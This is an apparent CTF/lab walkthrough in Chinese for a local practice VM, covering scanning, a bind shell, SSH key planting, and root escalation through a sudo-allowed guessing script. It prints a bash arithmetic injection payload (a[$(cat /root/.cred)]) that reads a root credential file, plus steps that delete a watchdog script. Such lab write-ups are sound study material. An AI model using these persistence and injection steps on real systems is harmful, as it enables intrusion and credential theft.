先寻找靶机

arp-scan -I eth1 192.168.56.0/24

image-20250422170443295

再次扫描其开放的服务

nmap -A -p- 192.168.56.104

image-20250422170510808

22,80和一个特殊的7066端口

image-20250422170739765

目录扫描得到一个目录访问目录可知

其含有一些用得上的脚本

image-20250422171625377

尝试连接7066发现直接给了个shell在自己目录下得到userflag

image-20250422171553030

然后就很明显了进行提权

但是我们当前这个shell连上很快就会断掉没法操作

所以我们尝试ssh登录

生成密钥
ssh-keygen -t rsa -f todd

image-20250422173452332

公钥放到用户目录的.ssh目录下

cd .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpHHhd7bOxuRjUITqZZ3nLgdRGtBGtDhJ4c2q9FygCvXs/C/Tp5QbSF3VBRwoUX1jILpsdv8scHG1+OuwLB+ubyS//7KIV3tBcRTM0iiFGGfQMwLZtC71CWY8bgponYe1klA/bULqCCMDH56d1oEvvcM+lPb8mBpaAueVWYnSL8Bj5YZlECiafe1GshKI8M+URx7pc3SAspeBC5fWkp21rFIHi9zo3XkGslf/9mwbIO7SufNS4wnWJNlUjnUTUw1FtED+yy5PcXH2acwoNX6qyUkkBaoop4LU+408QH9AIN/7HDeHsOf/aHCqatYFF9EtSyQv6Gvh02RM7VwXyGpiDpUKT8bV6WczAa1bdDgJRWPTbPykg12RCS0NzCKLslDTqFQUlbuLHvlR3ZIKyhaoRdWIyBm+BNmLjPpKHCosrAUIRTwf5UzbUW8jqV1E8A57f4tbthR+PtFAm6uwAbxU+jjh0sP+HKJrF6c86r9ahBqc6TcT6k/5gQt3GmpzpxW8= root@kali" > authorized_keys

image-20250422173530968

拿着私钥登陆即可
ssh todd@192.168.56.104 -i todd

image-20250422173637853

好吧这个shell也是很快就会断应该是针对的用户

sudo -l

image-20250422174350373

可运行命令 权限提升潜力 说明
/bin/bash /srv/guess_and_check.sh 高风险 可尝试修改该脚本或替换内容
/usr/bin/rm ⚠️ 中等 利用需搭配文件写权限或 LPE 技巧
/usr/sbin/reboot ❌ 无提权 重启系统,没有提权价值

可以利用/usr/bin/rm和前面发现的靶机自带的工具解决shell断开问题

利用Pspy监控没有Root权限的Linux进程

$ cd /var/www/html/tools
$ ls
fscan les.sh linpeas.sh pspy64
$ ./pspy64

image-20250422180124829

这里很明显是/opt/kill_todd.sh结束我们的shell

sudo rm /opt/kill_todd.sh

接下来看一下guess_and_check.sh的内容

# check this script used by human 
a=$((RANDOM%1000))
echo "Please Input [$a]"

echo "[+] Check this script used by human."
echo "[+] Please Input Correct Number:"
read -p ">>>" input_number

[[ $input_number -ne "$a" ]] && exit 1

sleep 0.2
true_file="/tmp/$((RANDOM%1000))"
sleep 1
false_file="/tmp/$((RANDOM%1000))"

[[ -f "$true_file" ]] && [[ ! -f "$false_file" ]] && cat /root/.cred || exit 2

脚本就是最后验证一下你的

/tmp/目录下有没有它随机产生的0-999名称的两个文件

$true_file有$false_file没有的话就cat /root/.cred

我们在/tmp下生成大量文件即可有很大的概率满足其要求

$ cd /tmp
$ touch $( seq 500)

image-20250422181543741

得到了root的密码

image-20250422181656069

还有另一种方法

[[ $input_number -ne "$a" ]] && exit 1

shell 语言中,数组的下标是数字,那个数字是会运算的,例如你可以构造:a[$(cat /root/.cred)]

当然也可以直接读flag

这一种方法理论:

https://7r1umph.github.io/post/qun-zhu-ti-hou-xu-%20%60-ne%60%20-rao-guo-%20-%20-bian-liang-jie-xi-yu-%20Python%202%20%60input%28%29%60%20-de-qi-shi.html